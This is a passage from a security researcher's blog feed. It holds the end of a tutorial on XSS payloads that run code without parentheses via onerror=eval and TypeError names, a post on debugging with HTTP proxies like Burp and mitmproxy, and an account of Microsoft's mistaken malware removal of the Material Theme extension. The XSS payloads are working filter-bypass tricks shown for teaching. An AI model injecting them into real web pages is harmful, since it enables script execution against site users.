punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token comment">//...</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>By the way, this payload works fine on Chrome 139, but Firefox 142 will throw an error: <code>Uncaught SyntaxError: expected expression, got &#39;=&#39;</code>.</p><p>If you want to debug, just change <code>onerror=eval</code> to <code>onerror=console.log</code> to see what the generated error message looks like:</p><pre class="line-numbers language-none"><code class="language-none">&#x3D;&#x2F;: can&#39;t access property &quot;)&#x2F;&#x2F;alert(1)&#x2F;&#x2F;&quot;, 0[console.log] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>It seems that in Firefox, there is nothing in front of the TypeError’s name, so to make it work in Firefox, you can just add any character that can be a variable in front:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'a=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>If you really understand this approach, you can actually insert code at the TypeName part by following this idea, resulting in the same outcome, but not that cool (it works fine on Chrome):</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=alert(1)//'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>As for how to construct a payload that works on both Chrome and Firefox, readers can practice on their own or refer to an example I created, which adds some variations:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'+/['</span><span class="token punctuation">,</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span>window<span class="token punctuation">.</span>Uncaught<span class="token operator">++</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">']/-alert\501\51&lt;!--'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="summary">Summary</span></h2><p>In fact, regardless of which payload it is, the core concept is the same: just turn the error message into valid JavaScript code and pass it to eval for execution.</p><p>To understand the payload, you need to be somewhat familiar with JavaScript code, such as <code>0[onerror=eval]</code> or the use of commas; you should at least know what’s going on.</p><p>Besides that, it’s about using your imagination, which is harder to practice and usually starts with observation and imitation.</p><p>Finally, here are a few key points:</p><ol><li>Commas can chain multiple expressions, returning the last one.</li><li>Replacing onerror with eval allows you to execute the error message as code.</li><li>Errors thrown will become part of the error message.</li><li>As long as you can turn the error message into valid code, you’ve succeeded.</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, I received an email from a reader asking if I could write an article explaining &lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt;, saying that the payloads in it were hard to understand.&lt;/p&gt;
&lt;p&gt;Therefore, this article will briefly explain these payloads, referencing Gareth Heyes’ two articles:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses&quot;&gt;XSS technique without parentheses&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  
  
  <entry>
    <title>Everyone Needs an HTTP Proxy for Debugging</title>
    <link href="https://blog.huli.tw/2025/04/23/en/everyone-need-a-http-proxy-to-debug/"/>
    <id>https://blog.huli.tw/2025/04/23/en/everyone-need-a-http-proxy-to-debug/</id>
    <published>2025-04-23T02:50:00.000Z</published>
    <updated>2025-04-23T11:50:02.008Z</updated>
    
    <content type="html"><![CDATA[<p>As a front-end engineer who deals with web pages every day, it is quite reasonable to be familiar with the use of DevTools. Whenever there is an issue with an API, I just press the shortcut to open DevTools, switch to the Network tab, find the red line, right-click to copy it as cURL, and paste it into the group chat for the backend team to troubleshoot.</p><p>But I wonder if anyone has encountered situations where DevTools are not sufficient. What should we do then?</p><span id="more"></span><h2><span id="are-devtools-really-insufficient-is-it-just-that-you-dont-know-how-to-use-them">Are DevTools Really Insufficient? Is It Just That You Don’t Know How to Use Them?</span></h2><p>Let me share a few cases I have encountered. If DevTools can solve the problem, that would be the most convenient, but sometimes I can’t resolve it (it might also be that I just don’t know how to use it). Additionally, the DevTools mentioned below refer specifically to Chrome DevTools; perhaps other browsers do not have these issues.</p><h3><span id="unable-to-see-request-details-before-redirection">Unable to See Request Details Before Redirection</span></h3><p>Many websites that implement OAuth-related services will redirect to a redirect URL after logging in, carrying a code. At this point, some websites will use the code to exchange for an access_token, and then redirect to the next page with the access_token. If there is an issue with the code exchanging for the access_token, how do we debug it?</p><p>Chrome DevTools, when redirecting to another page, will by default clear the console and network data. There is an option called “Preserve log,” and checking it seems to solve the problem, but it actually does not.</p><p>You can randomly find a webpage, open DevTools, check the “Preserve log” option, and then execute the following code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'https://httpbin.org/user-agent'</span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> window<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token string">'https://example.com'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>After the redirection is complete, although you can see this request in the Network tab, clicking on it will only show “Failed to load response data”:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p1.png" alt="Unable to See Request"></p><p>This issue has been reported since 2012, and after waiting for over a decade, it was mentioned at the end of 2023 that this would be on the roadmap for 2024, but there has been no movement so far: <a href="https://issues.chromium.org/issues/40254754">DevTools: XHR (and other resources) content not available after navigation.</a>.</p><p>In summary, in this scenario, not being able to see the response makes debugging nearly impossible, which is very inconvenient.</p><h3><span id="unable-to-find-the-cause-of-websocket-connection-handshake-failure">Unable to Find the Cause of WebSocket Connection Handshake Failure</span></h3><p>Although we usually only need one line of code to establish a connection when using WebSocket, it actually involves two steps behind the scenes.</p><p>The first step sends an HTTP Upgrade request, and only after that does it switch to the WebSocket connection. While the first step usually succeeds in most cases, what happens if it fails?</p><p>We can ask AI to write a very simple demo:</p><pre class="line-numbers language-none"><code class="language-none">write a nodejs websocket server with nginx in frontwhen url contains ?debug, nginx should return 500 errorafter websocker connected, server should a a hello message to clientuse docker compose to run it<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>After the AI generates it, run it with Docker, and similarly open a webpage to establish a connection. You will find that for the connection request with debug information, you only know it failed, but have no idea why:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p2.png" alt="Unable to Find the Cause"></p><p>This error message is even similar to connecting to a random closed port, leaving you completely clueless as to why it failed, making it difficult to communicate the issue to the backend.</p><p>These are two examples that I remember, but in actual development, there are likely many more. Basically, problems that cannot be resolved by just relying on DevTools to view the Network tab are either invisible or the displayed information is incorrect.</p><h2><span id="simple-and-easy-to-use-http-proxy">Simple and Easy-to-Use HTTP Proxy</span></h2><p>Since we cannot rely on DevTools, we have to depend on lower-level tools, such as an HTTP Proxy! Some tools will set up a proxy on your local machine, allowing all traffic to pass through it, so you can see all requests without being limited by DevTools.</p><p>Moreover, another benefit is that you have a place to cross-reference. If the proxy shows something different from what DevTools displays, it is possible that there is an issue with what DevTools is showing.</p><p>Therefore, I sincerely recommend everyone to find an HTTP Proxy to use. The three that I have personally used are:</p><ol><li><a href="https://www.charlesproxy.com/">Charles</a></li><li><a href="https://portswigger.net/burp/communitydownload">Burp Suite</a></li><li><a href="https://mitmproxy.org/">mitmproxy</a></li></ol><p>When I first got into proxies, I used Charles, but after getting into cybersecurity, I switched to the second one, Burp Suite. It’s actually a tool that can be used for various security-related tests, but I think it’s perfectly fine to just use it as a proxy; it’s very convenient.</p><p>The third one, mitmproxy, is open-source and free, and it’s quite well-known. I occasionally use it, but in a different way, which I’ll discuss later.</p><h3><span id="using-burp-suite-as-a-proxy-app">Using Burp Suite as a Proxy App</span></h3><p>First, download the free community version from the official website: <a href="https://portswigger.net/burp/communitydownload">https://portswigger.net/burp/communitydownload</a></p><p>After opening it, click Next and then Start Burp, and you’ll see the main screen. You’ll notice it has many features, but for now, let’s switch to the “Proxy” tab and then to the “HTTP history” page:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p3.png" alt="Burp Screen"></p><p>Then click on the very noticeable orange “Open Browser” button, which will open its built-in Chrome browser. You can use this browser to visit any webpage, for example, example.com.</p><p>Next, switch back to the tool, and you’ll find that the HTTP history records all the raw content of requests and responses:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p4.png" alt="Request Records"></p><p>In this way, the redirection cases and WebSocket handshake failures mentioned earlier can be seen here with the original request content, making errors clear at a glance:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p5.png" alt="Raw Content"></p><p>If in the future you encounter some requests that you can’t see, it means they have been filtered out by the default filter. Click on Filter settings, select show all, and then apply, and you should be able to see them.</p><p>(If you encounter issues with insecure connections, you need to install the certificate first. Please refer to: <a href="https://portswigger.net/burp/documentation/desktop/external-browser-config/certificate">Installing Burp’s CA certificate</a>)</p><p>That’s a basic introduction to using Burp Suite as an HTTP Proxy. If you don’t want to use the Chrome it provides, you can also set up your computer or browser’s proxy; it defaults to port 8080.</p><p>For example, I install another Chrome Canary on my Mac specifically for debugging. You can use this command to open it and set the proxy location:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This way, you can debug using your familiar browser.</p><p>By the way, Burp Suite has many other features, such as replaying requests or brute-forcing, but I think it’s already very helpful for general engineers to use it as a proxy. </p><h3><span id="using-mitmproxy-with-scripts-to-dynamically-change-content">Using mitmproxy with Scripts to Dynamically Change Content</span></h3><p>I won’t go into detail about the installation process for mitmproxy; you can refer to the <a href="https://docs.mitmproxy.org/stable/overview-getting-started/">official documentation</a> or collaborate with AI to install it yourself. After installation, remember to visit <code>http://mitm.it</code> to download and install the certificate so that you can intercept HTTPS traffic.</p><p>Once everything is installed, running <code>mitmproxy</code> will start the proxy, and you’ll see a CLI interface.</p><p>Since Burp Suite is already very useful, when would you use mitmproxy? It has a handy feature that allows you to customize the behavior of the proxy through simple Python scripts, which is very convenient.</p><p>For example, suppose for some reason the testing environment cannot fully simulate the production environment, but you cannot directly deploy the code to the production environment for testing. In this case, you can use the proxy to dynamically replace the production response and simulate some behaviors locally.</p><p>Although Chrome also has the <a href="https://developer.chrome.com/docs/devtools/override">override response</a> feature, it has more limitations, such as fixed content, etc. Using a proxy with scripts is definitely a more flexible and higher freedom choice.</p><p>Below is a simple mitm script aimed at replacing the script.js of my blog with the local version:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> mitmproxy <span class="token keyword">import</span> http<span class="token keyword">import</span> requestsURL_MAPPINGS <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">"https://blog.huli.tw/js/script.js"</span><span class="token punctuation">:</span> <span class="token string">"http://localhost:5555/script.js"</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token keyword">def</span> <span class="token function">request</span><span class="token punctuation">(</span>flow<span class="token punctuation">:</span> http<span class="token punctuation">.</span>HTTPFlow<span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token boolean">None</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> url <span class="token keyword">in</span> URL_MAPPINGS<span class="token punctuation">:</span>        <span class="token keyword">if</span> flow<span class="token punctuation">.</span>request<span class="token punctuation">.</span>pretty_url<span class="token punctuation">.</span>startswith<span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">:</span>            replacement_url <span class="token operator">=</span> URL_MAPPINGS<span class="token punctuation">[</span>url<span class="token punctuation">]</span>            replacement_response <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>replacement_url<span class="token punctuation">)</span>            flow<span class="token punctuation">.</span>response <span class="token operator">=</span> http<span class="token punctuation">.</span>Response<span class="token punctuation">.</span>make<span class="token punctuation">(</span>                <span class="token number">200</span><span class="token punctuation">,</span>                replacement_response<span class="token punctuation">.</span>content<span class="token punctuation">,</span>                 <span class="token punctuation">&#123;</span><span class="token string">"Content-Type"</span><span class="token punctuation">:</span> <span class="token string">"application/javascript"</span><span class="token punctuation">&#125;</span>             <span class="token punctuation">)</span>            <span class="token keyword">return</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You can run it with this command:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">mitmproxy <span class="token parameter variable">-s</span> proxy.py<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Next, use the command mentioned earlier to open a browser configured with a proxy:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Then visit <code>https://blog.huli.tw</code> in the browser, and you will see that the content of the script has been replaced.</p><h2><span id="conclusion">Conclusion</span></h2><p>These are some proxies and usage methods that I commonly use.</p><p>Relying too much on the browser is not a good thing; if the browser does not display anything, you won’t know what to do. However, as front-end engineers on the front line, there are definitely ways to obtain the entire request and response to clarify the issue further. In the future, if you encounter problems where requests are not visible in the browser, you can try using a proxy to capture the complete request and response.</p><p>In addition to web pages on the computer, you can also use it on mobile. You can set up a proxy on Android to connect to the same Wi-Fi as the computer, and then install the certificate on the phone to intercept the mobile traffic.</p><p>Finally, here’s a little tip: when executing commands in the Mac CLI, adding <code>https_proxy=http://localhost:8080</code> will configure the proxy, such as <code>https_proxy=http://localhost:8080 cursor .</code>, which will redirect all traffic from the Cursor IDE to the proxy.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;As a front-end engineer who deals with web pages every day, it is quite reasonable to be familiar with the use of DevTools. Whenever there is an issue with an API, I just press the shortcut to open DevTools, switch to the Network tab, find the red line, right-click to copy it as cURL, and paste it into the group chat for the backend team to troubleshoot.&lt;/p&gt;
&lt;p&gt;But I wonder if anyone has encountered situations where DevTools are not sufficient. What should we do then?&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  
  
  <entry>
    <title>VS Code Material Theme is Not a Malware — Where Should the Line Be Drawn?</title>
    <link href="https://blog.huli.tw/2025/03/16/en/vscode-material-theme-is-not-a-malware/"/>
    <id>https://blog.huli.tw/2025/03/16/en/vscode-material-theme-is-not-a-malware/</id>
    <published>2025-03-16T02:40:00.000Z</published>
    <updated>2025-10-01T13:13:03.857Z</updated>
    
    <content type="html"><![CDATA[<p>Many people might have followed the news three weeks ago about the well-known extension Material Theme being proactively removed from VS Code by Microsoft. So what was the reason for its removal? Depending on your source of information, there might be two answers:</p><ol><li>It “allegedly” contains malicious code.</li><li>It is indeed malware.</li></ol><span id="more"></span><p>For example, in BleepingComputer’s article <a href="https://www.bleepingcomputer.com/news/security/vscode-extensions-with-9-million-installs-pulled-over-security-risks/">VSCode extensions with 9 million installs pulled over security risks</a>, it states:</p><blockquote><p>Microsoft has removed two popular VSCode extensions, ‘Material Theme – Free’ and  ‘Material Theme Icons – Free,’ from the Visual Studio Marketplace for allegedly containing malicious code.</p></blockquote><p>It uses the term “allegedly containing malicious code.”</p><p>In addition to this, there are many news articles or tweets that assertively claim that Material Theme is malware. For instance, the widely followed <a href="https://x.com/theo/status/1894661673388314710">@theo</a> directly stated:</p><blockquote><p>The Material Theme has just been removed from GitHub and VS Code due to shipping malware.</p></blockquote><p>So, is the Material Theme extension on VS Code malware? To conclude: “No.”</p><p>What exactly happened in this whole process? Why was it initially said to be potentially malware, and later it was not? Let’s discuss this in chronological order, starting from the beginning.</p><h2><span id="the-beginning-of-the-incident-and-the-reason-for-removal">The Beginning of the Incident and the Reason for Removal</span></h2><p>(All times refer to Taiwan time)</p><p>On 2025&#x2F;02&#x2F;26 at 01:32 AM, someone posted an issue on the Material Theme GitHub: <a href="https://web.archive.org/web/20250226020241/https://github.com/material-theme/vsc-material-theme/discussions/1313">This extension was reported to be problematic</a>, mentioning that the following prompt appeared in VS Code:</p><blockquote><p>We have uninstalled ‘equinusocio.vsc-material-theme’ which was reported to be problematic.</p></blockquote><p>This proves that at least at this point in time, Microsoft had proactively removed the Material Theme from VS Code. A few hours later, at 04:39, someone also posted on the well-known discussion forum Reddit discussing the same situation: <a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">Lost Material Theme</a> .</p><p>By 7 AM, discussions also began on Hacker News: <a href="https://news.ycombinator.com/item?id=43178831">Material Theme has been pulled from VS Code’s marketplace</a>.</p><p>Around 3:40 PM, a member of the VS Code team, Isidor, responded:</p><blockquote><p>Hi - Isidor here from the VS Code team.<br>A member of the community did a deep security analysis of the extension and found multiple red flags that indicate malicious intent and reported this to us. Our security researchers at Microsoft confirmed this claims and found additional suspicious code.</p><p>We banned the publisher from the VS Marketplace and removed all of their extensions and uninstalled from all VS Code instances that have this extension running. For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.</p><p>Expect an announcement here with more details soon <a href="https://github.com/microsoft/vsmarketplace/">https://github.com/microsoft/vsmarketplace/</a></p><p>As a reminder, the VS Marketplace continuously invests in security. And more about extension runtime trust can be found in this article <a href="https://code.visualstudio.com/docs/editor/extension-runtime-security">https://code.visualstudio.com/docs/editor/extension-runtime-security</a></p><p>Thank you!</p></blockquote><p>The gist is that someone in the community conducted an in-depth security analysis of this package, found multiple red flags indicating malicious intent, and reported it to Microsoft. Internal security researchers at Microsoft also confirmed this finding and identified other suspicious code. Microsoft has removed all packages from this developer and banned him, stating that the removal of the package is unrelated to the license (which we will discuss later) and is only related to potential suspicious intent.</p><p>By 11 PM, someone opened an issue in the Visual Studio Marketplace GitHub to discuss this matter: <a href="https://github.com/microsoft/vsmarketplace/issues/1168">Material theme compromised?</a>, wanting to know more details.</p><p>The PM of the VS Code Marketplace, seaniyer, also provided a <a href="https://github.com/microsoft/vsmarketplace/issues/1168#issuecomment-2686542068">response</a> at 9:57 AM on 2&#x2F;27:</p><blockquote><p>Sean here from VS Code Marketplace. We take the decision to remove seriously and thoroughly verify any reports. To protect developers, we also prioritize speedy removal of positives. We’ve posted the reason for removal in RemovedPackages, where we plan to add any future removals as well. Thanks for helping to keep the marketplace safe for everyone.</p></blockquote><p>The <a href="https://github.com/microsoft/vsmarketplace/commit/5d23236b873a96d0da5dc90990e6172341c88b71">RemovedPackages.md</a> file was created at 7 AM that day, perhaps indicating that this was Microsoft’s first proactive removal of a package?</p><p>The document stated that the removed package was Equinusocio.vsc-material-theme-icons (another package by the same author; he has two, one is Material Theme and the other is Material Theme Icons), with the reason being:</p><blockquote><p>A theming extension with heavily obfuscated code and unreasonable dependencies including a utility for running child processes</p></blockquote><p>A cybersecurity company, Koi Security, published an article on 2025&#x2F;02&#x2F;27 titled <a href="https://blog.koi.security/a-wolf-in-dark-mode-the-malicious-vs-code-theme-that-fooled-millions-85ed92b4bd26">A Wolf in Dark Mode: The Malicious VS Code Theme That Fooled Millions</a>, mentioning that they found malicious code in the Material Theme, seemingly introduced through a dependency:</p><blockquote><p>Say hello to the wolf in dark mode, “Material Theme”, an extremely popular VSCode theme extension, found to be containing malware underneath its beautiful color scheme</p><p>Material Theme — Free, a theme extension for VSCode, which was installed 3,927,094 times by developers, was found to contain malicious code through a dependency</p><p>The malicious code seems to be inside a dependency of the theme, which was compromised.</p></blockquote><p>The wording used here is “was found to contain malicious code,” which directly states that it contains malicious code.</p><h2><span id="authors-rebuttal">Author’s Rebuttal</span></h2><p>On 2&#x2F;28, around 5 PM, the author of Material Theme, @equinusocio, opened an issue in the Visual Studio Marketplace GitHub: <a href="https://github.com/microsoft/vsmarketplace/issues/1173">Asking for Equinusocio publisher restoration and relative extensions, censorship and shady discriminatory microsoft moves</a>, stating that there is no malicious code in his package, and the only issue is an outdated third-party package:</p><blockquote><p>This decision destroyed 10 years of reputation and trust, all based on unfounded SUSPICIONS regarding obfuscated code—something you dislike, even though there was no evidence of harm. The only issue was an outdated sanity.io dependency within the obfuscated code, which could have been fixed in 30 seconds.</p></blockquote><p>At the end of the article, it also mentions that if it is confirmed that his package does not contain malicious code, all extensions should be restored and a public apology issued:</p><blockquote><p>If your review of MY SOURCE CODE confirms that there is nothing malicious, I formally request the full restoration of our publisher accounts (Equinusocio and vira-theme), all related extensions, and user access to the theme. Additionally, all installations and insights should be reinstated.</p></blockquote><h2><span id="why-was-material-theme-suspected">Why was Material Theme suspected?</span></h2><p>To summarize the above discussion, it is clear that Material Theme indeed did a few things:</p><ol><li>It is clearly a theme, but the package contains JavaScript.</li><li>It has obfuscated code.</li><li>The code contains parts related to username and password.</li><li>It includes a utility for executing child processes.</li></ol><p>If you ask me whether it is suspicious, yes, it is certainly suspicious. But if you ask me whether it is malicious software, I would say it is not.</p><p>Why not? Because no one has provided evidence. Although obfuscating code is indeed suspicious, it is just that—suspicious. Moreover, in my view, the strength of this “suspicion” is not that strong. For example, there is no evidence found of communication with a malicious server or any suspicious backdoors, etc.</p><p>In addition, regarding the obfuscation, if you have looked into the situation, you would find that as early as August 2024, someone on Reddit posted a <a href="https://www.reddit.com/r/vscode/comments/1eq40o2/has_the_material_theme_extension_been_compromised/?rdt=47469">Has the Material Theme extension been compromised?</a> thread, stating that the latest version contains a large amount of obfuscated code, and the historical records on GitHub have already been deleted, asking what happened.</p><p>Some say it may be related to these two discussions initiated by the author on August 10:</p><ol><li><a href="https://web.archive.org/web/20241230012548/https://github.com/material-theme/vsc-material-theme/discussions/1304">⚠️ Looking for Typescript maintainer ⚠️ </a></li><li><a href="https://web.archive.org/web/20241230040357/https://github.com/material-theme/vsc-material-theme/discussions/1305">Premium extensions</a></li></ol><p>Because the author wanted to change this package from open source to closed source and develop a paid version, they used obfuscation to hide some logic.</p><p>As for the so-called “parts related to username and password in the code,” it is very likely that a third-party package used <a href="https://github.com/unshiftio/url-parse">url-parser</a>, so these usernames and passwords refer to the credentials in the URL when parsing, rather than anything that steals sensitive information from your computer.</p><p>Regarding the “utility for executing child processes,” <a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2693242277">someone</a> looked at the code after deobfuscating it and found that it was just a build script, executing no malicious commands.</p><p>(By the way, I have not personally verified these two points above; the source code of the extension has always been available for download, and interested individuals can take a look themselves: <a href="https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage">https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage</a>)</p><p>The article from Koi Security also lacks any clear evidence. My stance here aligns with the subtitle of the article <a href="https://andrews.substack.com/p/re-vscode-extension-drama">RE: VSCode Extension Drama</a>: You can’t run your threat response like a High School clique.</p><p>Of course, setting aside Material Theme for now, the author has a history of behaviors that do not align with the spirit of open source. This is also why the Microsoft statement mentioned earlier states: “For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.” However, since these issues are unrelated to whether the extension is malicious software, I won’t elaborate further.</p><p>Initially, only Material Theme and Material Theme Icons were taken down and removed. However, the author later created a new account, changed the name, and uploaded it again. After being discovered multiple times, the entire account was banned, as can be seen in the <a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">discussion thread</a> on Reddit.</p><p>In summary, this <a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2692845250">comment from @r8</a> accurately reflects my thoughts:</p><blockquote><p>Being an ass is not a crime. If you want to ban Mattia for being an ass (which, I’m sorry to say, he is), that’s what Codes of Conduct were invented for.</p></blockquote><h2><span id="the-important-line-between-suspected-and-confirmed">The Important Line Between “Suspected” and “Confirmed”</span></h2><p>The question I want to discuss is: “Is it reasonable for the VS Code team to take down the Material Theme extension?”</p><p>However, this question actually hides two or three sub-questions, so I decided to break it down. The first thing we can discuss is whether it is reasonable to take down an extension when it is found to “possibly contain malicious code.”</p><p>Prevention is better than cure. Stopping losses before something goes wrong is, in my opinion, reasonable.</p><p>The second related question is: “Since it is only suspected, how much certainty is needed before it is reasonable to take it down?”</p><p>This is actually a “line-drawing” issue.</p><p>For example, if a theme extension is found to contain unobfuscated JavaScript files, taking it down may not be reasonable. But what if obfuscated JavaScript is found in the theme extension? (You still don’t know what the content is, only that it has been obfuscated.) Some people might feel it should be taken down.</p><p>However, others might argue that you must find concrete evidence before taking it down; even being in the suspicion stage is not enough.</p><p>So I say this is a line-drawing issue, depending on where you draw the line and what conditions must be met to feel it is sufficiently suspicious to warrant removal. This standard will vary for each person and organization.</p><p>Once these two questions are clarified, we can discuss: “Is it reasonable for the VS Code team to take down the Material Theme extension?” From their perspective, the known information is likely:</p><ol><li>It is clearly a theme, but the extension contains JavaScript, which is obfuscated.</li><li>It includes utilities used to execute child processes.</li><li>This extension has millions of downloads.</li></ol><p>Before making a decision, they must understand the impact this decision will have.</p><p>For example, this is the first time the VS Code team has done this, so even if it is merely “suspected of having issues,” it could be interpreted as having enough confidence to take significant action by remotely removing the extension. Additionally, if it turns out to be a malicious extension, that would be fine, but what if it is not? Should they be particularly careful when making public statements, emphasizing that it is only a suspicion and trying not to harm the developer’s reputation when the evidence is not yet clear?</p><p>Another question is, since “lack of evidence” affects the decision, should this line be drawn more strictly, only making decisions after obtaining concrete evidence? After all, if it is ultimately confirmed that the extension is fine, the outside world may question Microsoft’s cybersecurity capabilities (like, I thought you had enough evidence to do this, but it turns out to be a false report).</p><p>In summary, I don’t know how much evidence the VS Code team had, but we all know the decision they ultimately made: to forcibly remove the extension to protect users.</p><h2><span id="conclusion-the-vs-code-teams-apology">Conclusion: The VS Code Team’s Apology</span></h2><p>More than a week after the incident, on March 7, Microsoft removed Material Theme from the list via this PR: <a href="https://github.com/microsoft/vsmarketplace/pull/1181">Update RemovedPackages.md</a>.</p><p>On March 12, they issued a <a href="https://github.com/microsoft/vsmarketplace/issues/1173">public statement</a> apologizing under the issue posted by the author:</p><blockquote><p>False positives suck, and it hurts when it happens.</p><p>The publisher account for Material Theme and Material Theme Icons (Equinusocio) was mistakenly flagged and has now been restored. In the interest of safety, we moved fast and we messed up. We removed these themes because they fired off multiple malware detection indicators inside Microsoft, and our investigation came to the wrong conclusion. We care deeply about the security of the VS Code ecosystem, and acted quickly to protect our users.</p><p>I understand that the “Equinusocio” extensions author’s frustration and intense reaction, and we hear you. It’s bad but sometimes things like this happen. We do our best - we’re humans, and we hope to move on from this We will clarify our policy on obfuscated code and we will update our scanners and investigation process to reduce the likelihood of another event like this.<br>These extensions are safe and have been restored for the VS Code community to enjoy.</p><p>LINKS:<br>Material Theme<br>[Material Theme Icons]<br>(<a href="https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons">https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons</a>)</p><p>Again, we apologize that the author got caught up in the blast radius and we look forward to their future themes and extensions. We’ve corresponded with him and thanked him for his patience.</p><p>Scott Hanselman and the Visual Studio Code Marketplace Team - @shanselman</p></blockquote><p>So, despite having some indeed suspicious behavior, Material Theme has never been malware from the beginning.</p><p>However, it can be seen from the statement that from their perspective, there should have been a high level of confidence when making the decision, after all, the internal malware detection said so (even though it turned out to be a false positive).</p><p>If it were me, I might have decided to take it down as well, so I understand this decision.</p><p>But I think the explanation at the time of removal should have been clearer, emphasizing multiple times that “the incident is still under investigation, and it has not been confirmed to be malware,” and continuously stressing that “it is still being verified, and it was removed just to protect users.”</p><p>Although the VS Code team did not explicitly state that it was malware, the expression was more like “although it hasn’t been fully confirmed, I am quite confident it is,” rather than “it hasn’t been confirmed to be malware, please don’t panic, wait for our verification.”</p><p>To summarize my position, I currently believe that removing highly suspicious packages is reasonable, and I agree with the VS Code team’s actions. However, to avoid false positives, extra caution must be taken in external statements; otherwise, the damage to the developer’s reputation is irreparable, and I believe the VS Code team did not do well in this regard this time.</p><p>Taking this incident as an example, even though the VS Code apology statement was issued 3 days ago, how many people know about it? Could it be that most people still think Material Theme is malware?</p><p>By the way, 